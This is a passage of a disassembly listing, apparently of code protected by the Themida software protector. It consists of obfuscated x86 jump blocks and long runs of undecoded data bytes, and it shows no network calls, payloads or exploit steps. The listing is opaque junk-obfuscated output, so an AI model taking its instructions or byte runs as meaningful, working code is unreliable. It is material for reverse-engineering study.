0F281FFFFh, 62D82F29h dd 47E9D131h, 87FFFFCEh, 0E95C241Ch, 0FFFF724Dh ; --------------------------------------------------------------------------- loc_559F68: ; CODE XREF: Themida_:005553F5j push eax mov eax, 4DC525C2h add dword ptr [esp+4], 44F53CC9h sub [esp+4], eax sub dword ptr [esp+4], 44F53CC9h jmp loc_55C7B0 ; --------------------------------------------------------------------------- db 53h dd 772EBBBBh, 58E38118h, 0E9348851h, 0FFFFE9D4h, 24048B66h dd 0C8B5451h, 0E0895024h, 3DB9BD55h, 66E92FF4h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559FAF: ; CODE XREF: Themida_:0055C6B4j xor ebx, edx xor edx, ebx jmp loc_556223 ; --------------------------------------------------------------------------- loc_559FB8: ; CODE XREF: Themida_:0055A7B6j push 4BD1h mov [esp], ebx mov ebx, 83857D9h or ebx, 33F45D4Eh neg ebx xor ebx, 0C403A025h sub edx, ebx pop ebx xchg edx, [esp] pop esp mov [esp], esi push ebx mov ebx, 459D531Bh add ebx, 0BA62AD25h jmp loc_5575C4 ; --------------------------------------------------------------------------- dw 48Bh aVhZ db '$Vh|Z',0 dw 8900h dd 4832424h, 0E0E90424h, 59FFFFD9h, 0FF83C9E9h, 2474FFFFh dd 241C8B04h, 125EE9h, 243C3300h, 33243C31h, 27E9243Ch dd 81FFFFBCh, 4C5h, 2CE95100h db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A02F: ; CODE XREF: Themida_:00553652j sub dword ptr [esp], 1D6E757Eh mov eax, [esp] push ecx jmp loc_5585CE ; --------------------------------------------------------------------------- db 1 dd 0E9565EF2h, 0FFFFEABEh, 8B2434FFh, 89562404h, 58BB53E6h dd 8100DF5Ch, 20A3ACC3h, 15F6E9FFh, 77FF0000h, 19589D1Ch dd 0E99C2404h, 0FFFF69D6h ; --------------------------------------------------------------------------- loc_55A070: ; CODE XREF: Themida_:00559BD9j xor ebp, eax xor eax, ebp push 2D0h mov [esp], ebp push 5250h mov [esp], ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop dword ptr [esp] not ebx xor [esp], ebx xor ebx, [esp] xor [esp], ebx pop ebp xor eax, ebp xor ebp, eax jmp loc_55CE46 ; --------------------------------------------------------------------------- loc_55A0B4: ; CODE XREF: Themida_:005533AFj sub ebp, esi pop esi sub ebx, ebp pop ebp sub esp, 4 mov [esp], eax jmp loc_55890A ; --------------------------------------------------------------------------- dd 8EBC15Bh, 0E905E3C1h, 0FFFFA260h ; --------------------------------------------------------------------------- loc_55A0D4: ; CODE XREF: Themida_:0055B6E5j mov esi, [esp] add esp, 4 add esp, 4 shr eax, 18h xor eax, ecx push edx push esp mov edx, [esp] jmp loc_55679E ; --------------------------------------------------------------------------- dd 2BE56h, 0F2010000h, 2414875Eh, 0DBA4E95Ch, 1489FFFFh dd 2D4E924h, 37BF0000h, 4F1C6300h, 0E0E9D7F7h, 57FFFF6Eh dd 0FFADF2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A119: ; CODE XREF: Themida_:00550C26j mov eax, 5DA8336Dh push esi mov esi, 47550417h sub eax, esi jmp loc_55B11A ; --------------------------------------------------------------------------- loc_55A12B: ; CODE XREF: Themida_:0055CB1Cj mov ecx, 3A2436E6h xor ecx, ebp pop ebp xor ecx, 78595942h sub eax, 4F227992h add eax, ecx sub esp, 4 jmp loc_5542C4 ; --------------------------------------------------------------------------- db 68h dd 1AEAh, 0E9243489h, 0FFFFE1FBh, 4244401h, 2434FF58h dd 5F545759h, 4C781h, 0E9510000h, 0FFFFD17Eh, 5EDC15Fh dd 1D13F581h, 0EF89062Ah, 8BFA015Dh, 8957243Ch, 4C781E7h dd 51000000h, 0EF3C69B9h, 65E98145h, 145EF3Ch, 3C8759CFh dd 14335C24h, 24143124h, 5C241433h, 24048B66h, 0FFE096E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A1B1: ; CODE XREF: Themida_:00558D33j xor eax, ecx xor eax, ebx xor ebx, eax jmp loc_55C6B2 ; --------------------------------------------------------------------------- dd 697FF581h, 0F5812E0Dh, 373A7B0Ah, 0ED81DDF7h, 84529A0Ch dd 172BE9h, 0E9F88900h, 0FFFFDB6Eh, 240C8B66h, 0E9E68956h dd 0FFFF6CF4h, 34FFEB88h, 0E09BE924h, 0BF57FFFFh, 49790FDCh dd 15FFA29h, 0E9575AD0h, 0FFFFC1B8h, 25F4E958h, 0C4830000h dd 6E0E904h, 8B660000h, 74682404h, 8900003Ah, 0E589242Ch dd 4C581h, 60E90000h, 89FFFF68h, 0E0892404h, 405h, 4EC8100h dd 0E9000000h, 0FFFFE718h, 8EAC15Ah, 6AAFCA81h, 0C2810B58h dd 5DEADF75h, 148BD789h, 4C48124h, 47000000h, 0B0BE564Fh dd 81723B14h, 0FA7981E6h, 4E6C169h, 4954C681h, 53E92CB0h dd 1FFFF83h, 24D1E9D6h, 0C4810000h, 4, 0FF7018E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A289: ; CODE XREF: Themida_:00557A27j mov ecx, 6BB01257h dec ecx neg ecx sub ecx, 0D59304CFh sub ebx, ecx jmp loc_553A07 ; --------------------------------------------------------------------------- loc_55A29E: ; CODE XREF: Themida_:00554620j mov edi, [esp] add esp, 4 dec ecx or ecx, 2B9D06CDh add ecx, 38F65988h push ebx mov ebx, 0AB0BDE07h xor ecx, ebx jmp loc_558AF2 ; --------------------------------------------------------------------------- loc_55A2C1: ; CODE XREF: Themida_:00558FE5j pop eax mov ecx, [esp] add esp, 4 jmp loc_5571CD ; --------------------------------------------------------------------------- db 0BBh, 4, 0 dd 0D9010000h, 240C875Bh, 4C5F685Ch, 1C890000h, 70AFE924h dd 5E54FFFFh, 0FF78CEE9h, 70B02DFFh, 34FF3A8Dh, 0C4835D24h dd 6C55E904h, 77FFFFFFh, 59669D1Ch, 9C2414D2h, 0FF6739E9h dd 0E68956FFh, 4BF57h, 53E90000h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A31B: ; CODE XREF: Themida_:0055C2F7j push ecx mov ecx, 4 add ebp, ecx pop ecx push edx jmp loc_55CC2E ; --------------------------------------------------------------------------- dw 0B450h dd 12F480C7h, 0FF972BE9h, 88045AFFh, 882CD800h, 0FF8B9DE9h dd 540166FFh, 81660424h, 0D2042444h, 0C2E7E934h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A352: ; CODE XREF: Themida_:005594C8j xor eax, 151043EEh jmp loc_557C04 ; --------------------------------------------------------------------------- loc_55A35C: ; CODE XREF: Themida_:00551189j xchg eax, ecx dec eax sub esp, 4 jmp loc_55497E ; --------------------------------------------------------------------------- dw 8147h dd 0C4447CF7h, 86EF8153h, 8102FA54h, 94C319EFh, 0F0C9E919h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A37E: ; CODE XREF: Themida_:00551776j xchg esi, edi not esi xchg esi, edi push eax push 5F76h mov [esp], edi pop eax push dword ptr [esp] mov edi, [esp] push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp add esp, 4 push 3C65h mov [esp], edi mov edi, esp add edi, 4 jmp loc_559D5E ; --------------------------------------------------------------------------- dw 0FF54h dd 0E95A2434h, 0FFFF7CE3h, 43D3C381h, 3BE96FC7h, 83000024h dd 95E904C4h, 0C100002Ah, 0D5F705E5h, 0C581D5F7h, 7CB7E3A2h dd 0FFAEDEE9h, 690268FFh, 4890000h, 0FBFFB824h, 2BE9FFFFh dd 5DFFFF94h, 4C581h, 0C5810000h, 4, 8B242C87h, 65682424h dd 8900006Bh, 0EC83241Ch, 24348904h, 0EC83C689h, 242C8904h dd 4EC8356h, 0BD242C89h, 0BDA20ACh, 4246C31h, 0F5815D5Dh dd 0BDA20ACh, 8B5DEB89h, 0ACE92434h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A467: ; CODE XREF: Themida_:00552084j add ebp, 4 xor ebp, [esp] jmp loc_552564 ; --------------------------------------------------------------------------- db 81h, 0EEh, 0BEh dd 5A77533Eh, 4C681h, 34870000h, 24248B24h, 0FF2434FFh dd 575A2434h, 0BB53E789h, 136D5C5Bh, 19F6C381h, 0CB815457h dd 465F76BCh, 2A9AE9h, 24048900h, 116BBF57h, 0CF815D93h dd 3C3B523Bh, 8102EFC1h, 8578EAEFh, 0EF814F0Bh, 1284BBDAh dd 0FFFD08E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A4CD: ; CODE XREF: Themida_:00557671j sub edx, 2F38086Ch push eax mov eax, 0 add eax, edx jmp loc_551478 ; --------------------------------------------------------------------------- dd 51E9EB89h, 53000001h, 0FF7BB6E9h, 4BA52FFh, 1000000h dd 0E9042454h, 0FFFFCBDEh, 3C8BFB01h, 1EDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A506: ; CODE XREF: Themida_:00556017j push ecx jmp loc_5545C7 ; --------------------------------------------------------------------------- loc_55A50C: ; CODE XREF: Themida_:0055BB45j sub ebp, 22784976h jmp loc_5516B1 ; --------------------------------------------------------------------------- loc_55A517: ; CODE XREF: Themida_:00554B50j shr eax, 3 add eax, 4AC17F77h sub eax, 1 xor eax, 56CA0732h xor eax, 4232DF7Eh mov ebp, eax jmp loc_5585B1 ; --------------------------------------------------------------------------- loc_55A533: ; CODE XREF: Themida_:0055521Ej sub edx, eax jmp loc_555D9E ; --------------------------------------------------------------------------- dw 8B66h dd 0C868240Ch, 89000061h, 0E0892404h, 4EC81h, 2C890000h dd 0CE07E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A556: ; CODE XREF: Themida_:0055B132j mov eax, 0B740A73Dh jmp loc_552F30 ; --------------------------------------------------------------------------- dd 0E9241C89h, 0FFFFB1C8h, 0E92434FFh, 904h ; --------------------------------------------------------------------------- loc_55A570: ; CODE XREF: Themida_:00558EF6j add ebx, eax pop eax add ebx, 4 xchg ebx, [esp] pop esp and ecx, eax push dword ptr [esp] pop eax add esp, 4 shr ecx, 7 jmp loc_554832 ; --------------------------------------------------------------------------- aSk db '^И╙&',0 align 4 dd 4EC81h, 14890000h, 0A7B75324h, 0CFE9F786h, 68FFFF8Fh dd 38h, 0FFB1DDE9h, 0E68956FFh, 4C681h, 6EE90000h, 0D3FFFF70h dd 0E99C2424h, 0FFFFF767h, 48B0889h, 6B79E924h, 0F001FFFFh dd 1CA4685Eh, 2BE90000h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A5DF: ; CODE XREF: Themida_:0055363Cj sub esp, 4 mov [esp], ecx mov ch, 60h shl ch, 8 inc ch shr ch, 3 shr ch, 5 xor ch, 31h add bl, 0F4h add bl, ch sub bl, 0F4h mov ecx, [esp] add esp, 4 jmp loc_55C805 ; --------------------------------------------------------------------------- db 0FFh dd 58042474h, 5C24048Fh, 24048B66h, 81E18951h, 4C1h, 0D9E1E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A626: ; CODE XREF: Themida_:00554294j push dword ptr [esp] pop eax push esi mov esi, esp add esi, 4 jmp loc_5543DC ; --------------------------------------------------------------------------- dd 5D2434FFh, 581468h, 242C8900h, 0C581E589h, 4, 409668h dd 0DDC4E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A656: ; CODE XREF: Themida_:005599DDj sub [edi+24h], ebp jmp loc_553EF5 ; --------------------------------------------------------------------------- dw 0E3E9h dd 87FFFF63h, 555C2434h, 2BDh, 72EF8100h, 0E92DF96Eh, 1955h ; --------------------------------------------------------------------------- loc_55A678: ; CODE XREF: Themida_:00559174j xchg ecx, [esp] pop esp and eax, edx jmp loc_55AE4E ; --------------------------------------------------------------------------- db 0C1h dd 0CB8105EBh, 39291308h, 5503EBC1h, 881895BDh, 7D4BE9F8h dd 1C8BFFFFh, 0E7895724h, 4C781h, 55E90000h, 30FFFFB7h dd 241C8BF8h, 4C481h, 7BE90000h, 1FFFFACh, 0D8E95EF0h dd 89FFFF6Ch, 4EC83E6h, 0FFADFDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55A6CD: ; CODE XREF: Themida_:005521A7j push ebp mov ebp, 4 add esi, ebp pop ebp jmp loc_5535E0 ; --------------------------------------------------------------------------- aDbIs db '©',27h,'=;d│гщбд⌡Иг"',0 dw 8900h dd 21E92414h, 56FFFF99h, 0C681E689h, 4, 0E904C683h, 0FFFF9579h dd 4BD55h, 0EA010000h, 4C2835Dh, 5C241487h, 93AE9h db 0 ; --------------------------------------------------------------------------- loc_55A719: ; CODE XREF: Themida_:00559146j push edx mov edx, 2F406A46h jmp loc_558EFB ; --------------------------------------------------------------------------- loc_55A724: ; CODE XREF: Themida_:0055CE62j push 2B74h jmp loc_5571FF ; --------------------------------------------------------------------------- dw 6866h dd 89661145h, 18E92414h, 89FFFF82h, 4EC83CDh, 0E9242C89h dd 0FFFFB058h, 4EC81h, 14890000h, 80E5B624h, 0CE80A0E6h dd 80CEFE6Fh, 0F680F1E6h, 0E2A1E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A766: ; CODE XREF: Themida_:00552450j add esi, 4 xchg esi, [esp] jmp loc_55231F ; --------------------------------------------------------------------------- loc_55A771: ; CODE XREF: Themida_:005539E9j mov edx, 4C4F41AEh inc edx xor edx, 35CB474Bh and edx, 2AC801E2h sub edx, 0B953A681h or edi, edx pop edx shl edi, 5 push edi xchg edi, [esp] not edi jmp loc_551374 ; --------------------------------------------------------------------------- dw 0C331h dd 0E930FF66h, 0FFFF62A2h, 8804C483h, 0E95058C6h, 0FFFFC6E4h ; --------------------------------------------------------------------------- loc_55A7B0: ; CODE XREF: Themida_:00557764j add edx, 4 jmp loc_559FB8 ; --------------------------------------------------------------------------- db 54h dd 40558h, 0BE560000h, 4, 0FFFEEEE9h, 0C8B66FFh, 2BB96824h dd 14890000h, 815A5424h, 4C2h, 0F0C5E900h, 0C481FFFFh dd 4, 0FFD4CBE9h, 24048BFFh, 8304C483h, 23E904C4h, 81FFFF7Eh dd 7975C1EAh, 0E9DA011Bh, 0FFFFF01Eh, 0C002E9C0h, 0C18006E9h dd 8BCB003Ch, 0E7E9240Ch, 29FFFFF6h, 0E0E951F8h, 81FFFFB2h dd 6B7536E9h, 0D845E943h, 0D2F7FFFFh, 53CE281h, 54E9471Bh dd 81FFFFC9h, 548009F1h, 7BE5E941h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A84A: ; CODE XREF: Themida_:0055883Bj sub [esp+4], ebp add dword ptr [esp+4], 50A97A7Eh pop ebp mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edx mov edx, 62B805BAh push edx push eax pop edx jmp loc_552FB8 ; --------------------------------------------------------------------------- db 81h dd 0FF6EE2F7h, 65C3813Ah, 0E931921Eh, 0FFFFED22h ; --------------------------------------------------------------------------- loc_55A88C: ; CODE XREF: Themida_:00552F32j pop eax xor edx, ebp pop ebp xor edx, 2A116D2Ah jmp loc_55C57B ; --------------------------------------------------------------------------- db 58h dd 0E907E3C1h, 0FFFF6D32h, 0F1176FBBh, 5BDD2138h, 3DAC6857h dd 815F345Eh, 0A23FA2EFh, 0C7814736h, 77FA28ADh, 515FFD29h dd 51178B9h, 0E9CD0175h, 2553h ; --------------------------------------------------------------------------- loc_55A8D0: ; CODE XREF: Themida_:0055CCDAj and edx, ebx pop ebx jmp loc_558DB9 ; --------------------------------------------------------------------------- dd 0C381FB01h, 537929D8h, 0F4E9505Fh, 81000018h, 4C4h dd 0B7FCE900h, 0FB05FFFFh, 0E92A525Ch, 0FFFFE35Fh, 8B2434FFh dd 0C481242Ch, 4, 4C481h, 33E90000h, 1FFFF61h, 685B59C8h dd 5C6Ah, 0BE243489h, 1A3436ADh, 24E9F301h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A92B: ; CODE XREF: Themida_:005591F0j push 1EF73FCAh pop ebp jmp loc_556238 ; --------------------------------------------------------------------------- a_sa db '_ИМ',0Bh,0 align 4 dd 0E2C1D2F7h, 0DCEA8105h, 1E8293Fh, 0BD555AD3h, 4, 875DEB01h dd 685C241Ch, 59B3h, 89240489h, 22DFE9E0h, 0C4810000h dd 4, 72EB80h, 241C8BD8h, 6804C483h, 7F24h, 68241489h dd 6EBDh, 0B5240C89h, 10B4E9FCh, 8B660000h, 12682404h dd 89000043h, 5C68240Ch, 0E9000050h, 1663h, 80D6B753h dd 0C780C8EFh, 80D7F604h, 0F888DBC7h, 0B50BE95Bh, 0C781FFFFh dd 463A5171h, 0FF85D1E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A9C5: ; CODE XREF: Themida_:00557EA2j xor eax, ebx jmp loc_55510D ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 0E9580000h, 0FFFFF0D5h, 0FF84E959h dd 0E5C0FFFFh, 80D5F607h, 0D5F63EE5h, 28B2C580h, 0C4FE59ECh dd 1CE95053h, 31FFFF93h, 148B66C3h, 6F6C6824h, 34890000h dd 815E5424h, 4C6h, 0EC815200h, 4, 0BF243C89h, 25405218h dd 4A77EF81h, 0B8506094h, 0C4AC079Fh, 548E9h db 0 ; --------------------------------------------------------------------------- loc_55AA31: ; CODE XREF: Themida_:00550E27j push esi sub esp, 4 jmp loc_557B60 ; --------------------------------------------------------------------------- dw 0C8BAh dd 3122D275h, 31D731FAh, 0E9D7F7FAh, 0FFFF6E0Ch, 538734FFh dd 0EF64ACBBh, 245C3131h, 0FFE95B04h, 53000010h, 8A541ABBh dd 43DBF727h, 562DCB81h, 0F3816809h, 9F4501Eh, 66F5CB81h dd 94E92ED5h, 1FFFF80h, 0CDC281C2h, 564DA278h, 7D52BA52h dd 0E2E908FFh db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AA93: ; CODE XREF: Themida_:0055AC95j mov [esp], ecx mov ecx, 4 jmp loc_550AEF ; --------------------------------------------------------------------------- dd 0C3809D34h, 71DBE934h, 5241FFFFh, 0EA68BEBAh, 6CE954h dd 7B80000h, 57B6317h, 0E3D9265Dh, 8AE9C389h, 81FFFF8Eh dd 521115C6h, 0D8EE814Fh, 537B195Ah, 6D45D868h, 0F3815B3Eh dd 31B85802h, 15BDE01h, 3AB951C6h, 0C1292D7Dh, 0C98107E9h dd 3B3B1815h, 0C2DBC181h, 0CE29D459h, 81240C8Bh, 4C4h dd 0D8C68100h, 517B195Ah, 5D150DB9h, 0B3E9811Ch, 814BCD16h dd 697089C1h, 0E327E921h, 0EA81FFFFh, 23FE11C0h, 0FFC489E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AB2D: ; CODE XREF: Themida_:005560D6j mov [esp], ebx jmp loc_555CF3 ; --------------------------------------------------------------------------- db 81h, 0C3h, 0A0h dd 89053F14h, 0EA835BDAh, 2CF281FFh, 8706E42Ah, 87D3F7DAh dd 59EA81DAh, 1A6F0B0h, 0B405E9D3h, 1433FFFFh, 0E9525C24h dd 0FFFFB4D2h, 81E28952h, 4C2h, 4EA8100h, 87000000h, 248B2414h dd 242C8924h, 43C168h, 748BE900h, 348BFFFFh, 4C48124h dd 0E9000000h, 0FFFF5EB2h ; --------------------------------------------------------------------------- loc_55AB94: ; CODE XREF: Themida_:0055868Dj pop eax xchg edi, [esp] pop esp mov [esp], ebx push ecx push ebp jmp loc_559C32 ; --------------------------------------------------------------------------- db 55h dd 6F6DBA68h, 0C5815D74h, 0FFFFFFFFh, 21BFE9h, 243C8700h dd 2404895Ch, 0FF5E85E9h db 0FFh ; --------------------------------------------------------------------------- loc_55ABC1: ; CODE XREF: Themida_:0055C0ADj add edx, ecx pop ecx sub edx, 0DEE561BAh push edx sub dword ptr [esp], 338B101Bh pop edi add edi, 338B101Bh pop edx and ebx, edi mov edi, [esp] push 430Fh mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx jmp loc_5514FA ; --------------------------------------------------------------------------- db 1, 0D3h, 5Ah dd 6997C381h, 0EC810322h, 4, 0FFD0D2E9h, 2474FFFFh, 48F5804h dd 34FF5C24h, 2434FF24h, 4EC8159h, 0E9000000h, 0FFFFF4D2h dd 7E27BE56h, 39E91C22h, 88FFFFA7h, 0F190E9DCh, 0DF01FFFFh dd 4C7835Bh, 31243C33h, 3C33243Ch, 0C6835C24h, 74FF5604h dd 0C6E90424h, 0BAFFFF77h, 2, 515AD101h, 42474FFh, 0BA1BE959h dd 0FE01FFFFh, 83243C8Bh, 0DE904C4h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AC7B: ; CODE XREF: Themida_:0055163Cj mov eax, esp push edx mov edx, 4 add eax, 73906D89h add eax, edx sub eax, 73906D89h pop edx push 78D3h jmp loc_55AA93 ; --------------------------------------------------------------------------- dw 5150h dd 8776E4B9h, 68BA5240h, 81317804h, 4BDD2CEAh, 5AD131BAh dd 352EE181h, 7FE909A0h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ACBB: ; CODE XREF: Themida_:0055627Aj add esp, 4 mov ebx, [esp] add esp, 4 loc_55ACC7: ; CODE XREF: Themida_:00556366j push 3E5Ch mov [esp], ebp push ebx pop ebp sub esp, 4 jmp loc_552BE2 ; --------------------------------------------------------------------------- dd 4EC81h, 91E90000h, 31FFFFD5h, 2C33242Ch, 24248B24h dd 0FFFC99E9h, 4C481FFh, 56000000h, 0FB37A2BEh, 78EB8147h dd 29503307h, 78C381F3h, 0FF503307h, 0E95E2434h, 43Bh dd 4BBh, 0E9DE0100h, 0FFFFDCA2h, 0B753665Ah, 88C58086h dd 0FF7D92E9h, 0E9475EFFh, 0FFFF8542h, 47A868h, 242C8900h dd 6EB168h, 24148900h, 0F9A502BAh, 0ABE9515Fh db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AD53: ; CODE XREF: Themida_:005559A5j mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 jmp loc_5528C0 ; --------------------------------------------------------------------------- loc_55AD65: ; CODE XREF: Themida_:00550DA5j or ebx, ebp pop ebp add ebx, 3312FADFh push 0F8BCD972h jmp loc_55601C ; --------------------------------------------------------------------------- dd 0E902E7C0h, 0FFFF7023h, 3C01292Dh, 69113507h, 0C5294D2Eh dd 242C8758h, 8924248Bh, 90E9240Ch, 9FFFFCBh, 0CE8158C6h dd 2EAA733Fh, 7FBEE81h, 0F701C7EEh, 5FF8015Eh, 7E78BA52h dd 0C2816BEAh, 38397495h, 5E2C14Ah, 0C6EA8142h, 815B614Ah dd 1D16B9EAh, 0E9D00129h, 8A6h, 69E95966h, 81000000h, 369554F5h dd 5DEE893Fh, 0CFE9F201h, 89FFFFC2h, 4832424h, 0E9590424h dd 1117h ; --------------------------------------------------------------------------- loc_55ADF8: ; CODE XREF: Themida_:005577FFj sub ebx, 4 jmp loc_557BB6 ; --------------------------------------------------------------------------- align 4 dd 0E72C59C8h, 0E704D828h, 5C5E9h, 0E6C18100h, 5A6F6B1Ch dd 31240C33h, 0C33240Ch, 0B60F5C24h, 148B66C0h, 0CA8E924h dd 4B80000h, 1000000h, 8AAEE9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AE3A: ; CODE XREF: Themida_:005571A1j mov esi, 0F7E3236h jmp loc_55518A ; --------------------------------------------------------------------------- aAUs db '─дщ(ЦИ╡',9,0 align 2 loc_55AE4E: ; CODE XREF: Themida_:0055A67Ej push dword ptr [esp] jmp loc_559E82 ; --------------------------------------------------------------------------- loc_55AE56: ; CODE XREF: Themida_:00554E28j push 46D8h mov [esp], ebx push ecx mov cl, 0Dh not cl jmp loc_558D07 ; --------------------------------------------------------------------------- loc_55AE68: ; CODE XREF: Themida_:0055237Fj push ebx jmp loc_555E87 ; --------------------------------------------------------------------------- dw 0E953h dd 1E36h, 0E1895158h, 4C181h, 0C1830000h, 240C8704h, 243C875Ch dd 0BB0F665Ch, 0E99C2404h, 0FFFF5BB2h, 114CEF81h, 8147075Eh dd 517252EFh, 473E9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AEA6: ; CODE XREF: Themida_:0055C582j mov eax, 193779DDh add eax, 5C7E776Eh not eax or eax, 73395F2Bh push edi jmp loc_55BD86 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd offset dword_450050+5918h dd 241C8900h, 8FE9E389h, 8BFFFFB8h, 0C483243Ch, 81DEF704h dd 147DECEEh, 11F6811Eh, 0E95FAD0Bh, 830h, 4C3835Fh, 8B241C87h dd 0B4E92424h, 8BFFFFB3h, 99E9241Ch, 0F700001Dh, 83BD55D7h dd 0C1586767h, 0C9E908EDh, 89FFFF98h, 0AEB7241Ch, 0FF8533E9h dd 0E9F301FFh, 0FFFFBBAEh, 24048B66h, 0CEB68h, 240C8900h dd 73CE68h, 24248900h, 4240481h, 0FF000000h, 0C8B2434h dd 4C48324h, 0FF75E7E9h, 48B66FFh, 0EC815124h, 4, 45D468h dd 24248900h, 4240481h, 8F000000h, 0DFE92404h, 8F000012h dd 248B2404h, 24048924h, 0FF89E0E9h, 58C729FFh, 24048157h dd 765C6D91h, 91EA815Ah, 0E9765C6Dh, 0FFFFA3AEh, 28B6664h dd 0FFAF34E9h, 5EF301FFh, 4EC81h, 1C890000h, 2474FF24h dd 48F5B04h, 24248B24h, 9C240431h, 0FF5A8DE9h, 48B66FFh dd 0B220E924h, 8B66FFFFh, 0E768240Ch, 0E9000000h, 1238h dd 0DAF7EAD1h, 0CF8BEA81h, 0D3295A75h, 0CFE4E95Ah, 0C781FFFFh dd 7E88325Dh, 0A6EC781h, 0C781081Ch, 70E55308h, 0CF0FE9FDh dd 0B652FFFFh, 0E951532Ch, 15AAh ; --------------------------------------------------------------------------- loc_55B004: ; CODE XREF: Themida_:00551CF9j and eax, edx push dword ptr [esp] pop edx sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 push 4B64h mov [esp], eax jmp loc_556447 ; --------------------------------------------------------------------------- dd 0E959CD01h, 0FFFFC150h ; --------------------------------------------------------------------------- loc_55B030: ; CODE XREF: Themida_:005550F4j add esp, 4 jmp loc_5565AD ; --------------------------------------------------------------------------- db 66h dd 0E95EF189h, 0C28h, 241C8B5Ah, 0C004C483h, 0B3E902E0h dd 5600000Bh, 2B66AC68h, 24348B10h, 4C481h, 1B2D0000h dd 2D687E11h, 25D62919h, 0BA52F001h, 25D62919h, 55AD001h dd 687E111Bh, 5E2434FFh, 81E68956h, 4C6h, 0BEF1E900h, 0D901FFFFh dd 4EC815Bh, 89000000h, 0BD55241Ch, 51B852C4h, 47AD40BBh dd 5DEB01AEh, 893E981h, 0E9813F7Bh, 7B327DD0h, 0C181D901h dd 7B327DD0h, 0FFC0B3E9h, 0E9DCB4FFh, 0FFFF5D10h ; --------------------------------------------------------------------------- loc_55B0C8: ; CODE XREF: Themida_:0055CB31j add ebx, 5C720FE2h dec ebx and ebx, 775570F1h neg ebx sub ebx, 4BA1A6D3h and ebp, ebx pop ebx jmp loc_550ED1 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 9C243CD3h, 0FF91CEE9h, 243487FFh, 8124248Bh, 644CA0C5h dd 0D8E9451Dh, 0E9FFFFFCh, 0FFFF593Eh, 0B850D5F7h, 16511FBDh dd 48BC509h, 0D3D0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B11A: ; CODE XREF: Themida_:0055A126j pop esi or ebp, eax pop eax shl ebp, 5 add ebp, 0D95BEA5Ah add eax, ebp mov ebp, [esp] jmp loc_55B2BA ; --------------------------------------------------------------------------- loc_55B131: ; CODE XREF: Themida_:00558435j push eax jmp loc_55A556 ; --------------------------------------------------------------------------- db 5Bh dd 0FF8B20E9h, 2AB951FFh, 293DB07Ah, 0B94E9C8h, 3C870000h dd 2BE95C24h, 68FFFFD6h, 1FB4h, 54243489h, 4C6815Eh, 81000000h dd 4C6h, 74FF5600h, 348B0424h, 4C48124h, 8F000000h, 248B2404h dd 0F2EB8124h, 1513922h, 0F2C381C3h, 0E9513922h, 0FFFFD4E3h dd 1C195E68h, 0F0E95F0Eh, 58FFFFCBh, 5C24048Fh, 8B243C87h dd 34FF2424h, 0B4685A24h, 89000071h, 52E9242Ch, 68FFFFB9h dd 2, 8324048Bh, 0C38104C4h, 0AEF6B90h, 2529EB81h, 0C301185Ch dd 2529C381h, 0EB81185Ch, 0AEF6B90h, 1D5BE9h, 2474FF00h dd 48F5904h, 53E95C24h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B1EF: ; CODE XREF: Themida_:00558ACEj pop ebp add eax, ebp sub esp, 4 mov [esp], edx mov edx, 6C665D18h sub eax, edx mov edx, [esp] jmp loc_5531FF ; --------------------------------------------------------------------------- db 68h dd 0A390702h, 0FFBD2AE9h, 81E689FFh, 4C6h, 4B85000h, 1000000h dd 0EA34E9C6h, 0F652FFFFh, 815A2414h, 2ECh, 1C896600h dd 0A374E924h, 0C00BFFFFh, 0B9BB840Fh, 6E68FFFFh, 0E9000072h dd 0FFFF623Ah ; --------------------------------------------------------------------------- loc_55B24C: ; CODE XREF: Themida_:0055C3B7j push dword ptr [edi+24h] sub esp, 4 jmp loc_5590F6 ; --------------------------------------------------------------------------- loc_55B257: ; CODE XREF: Themida_:00559081j sub eax, 21FC43EDh add edx, 5C2B44DCh sub edx, eax sub edx, 5C2B44DCh pop eax xchg edx, [esp] jmp loc_551FE8 ; --------------------------------------------------------------------------- db 83h dd 48F04C4h, 7EE95C24h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B27F: ; CODE 